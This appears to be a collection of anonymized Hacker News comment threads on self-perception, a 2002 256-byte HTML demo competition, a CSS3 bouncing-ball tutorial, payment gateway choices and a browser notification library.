Is every school different, sure. But I think it all goes back to internal perceptions. If you define yourself as ugly and fat... you won't get a date. If you define yourself as stupid and slow... you will get bad grades. If you define yourself as poor or struggling... life will be hard. But if you can just not think about that stuff... then you realize that nobody else cares about that stuff either. We're all too busy focusing on our own shit and own insecurities to worry about anything you have going on in your head.

<comment><USER37> > We're all too busy focusing on our own shit and own insecurities to worry > about anything you have going on in your head.

YES.

</comment></comment><comment><USER38> Would be nice, if there is ever some kind of paywall or login-wall, if poster would just paste the plaintext as the 1st comment.

<comment><USER39> Would this be legal?

<comment><USER38> I'd say technically no, but what is these days?</comment></comment></comment>


256b.htm Competition (2002) - <AUTHOR> http://wildmag.de/compo/

<comment><USER2> Someone should make videos in old browsers. Most of the demos are not working anymore. ):

But my best entry still does: [http://wildmag.de/compo/Midcoast- The_Wormhole/5.htm](http://wildmag.de/compo/Midcoast-The_Wormhole/5.htm)

<comment><USER3> You can download virtual machine images from Microsoft just for testing old versions of IE. [http://dev.modern.ie/tools/vms/windows/](http://dev.modern.ie/tools/vms/windows/)

</comment></comment><comment><USER4> > 5\. It's not allowed to use the file name as source code.

I would love to see the entry that made it necessary to add this rule.

<comment><USER5> It's an old trick for compression/size limit competitions. You have N bytes allowed, but you can get an extra M bytes by putting them in the filename (minus however many bytes it takes to access the filename)

like if you several uncompressable (random) files you can "compress" them further by moving some of their bytes into the filenames.

</comment></comment><comment><USER6> Reminds me of the Rafaël Rozendaal's work. ICYI: [http://www.newrafael.com/websites/](http://www.newrafael.com/websites/)

</comment><comment><USER7> I'm not "old" by any means, but I don't think that those born after 1997 will really understand how cool some of this stuff is. :(

<comment><USER2> !0

</comment></comment><comment><USER8> Yeah... I was wondering the same thing. I guess you could use some crazy long filename to encode data and "cheat"</comment>


3D Bouncing Ball with CSS3 - <AUTHOR> https://tympanus.net/Tutorials/CSS3BouncingBall/ <comment><USER2> Was expecting something more. At least on iOS safari, this looks like a 2d image being moved with an easing function up and down and squeezed.

</comment><comment><USER3> Haven't seen this aesthetic for about a decade. Not that I'm complaining, it just looks kinda out of place.

<comment><USER4> this is from 2012..

</comment></comment><comment><USER5> It's weird but I can hear it bounce :D</comment>


Ask HN: What is your choice of payment gateway?  - <AUTHOR>

I have a web app that I would like to commercialize at some point in the future. What should I look out for in payment gateway providers? <comment><USER2> At the moment I'm using Paypal. The documentation is insufficient and code samples (at least the Java one) are horrible, but it gives you the ability to accept credit card payments (without requiring the user to sign up for a Paypal account). Unfortunately that's not the case for Google Checkout, which requires a google account.

My next step is Braintree <http://www.braintreepaymentsolutions.com/> Its API is much better, and it's more flexible than Paypal. It has some fixed costs, but nothing too bad if you are serious about your business.</comment>


Web Notifications (draft) with in-browser fallback - <AUTHOR> http://sciactive.com/pnotify/

<comment><USER2> Wow, you even have support for desktop notifications in this! It makes a lot of sense to have a wrapper for in browser and out of browser notifications. Looking forward to trying this out.</comment>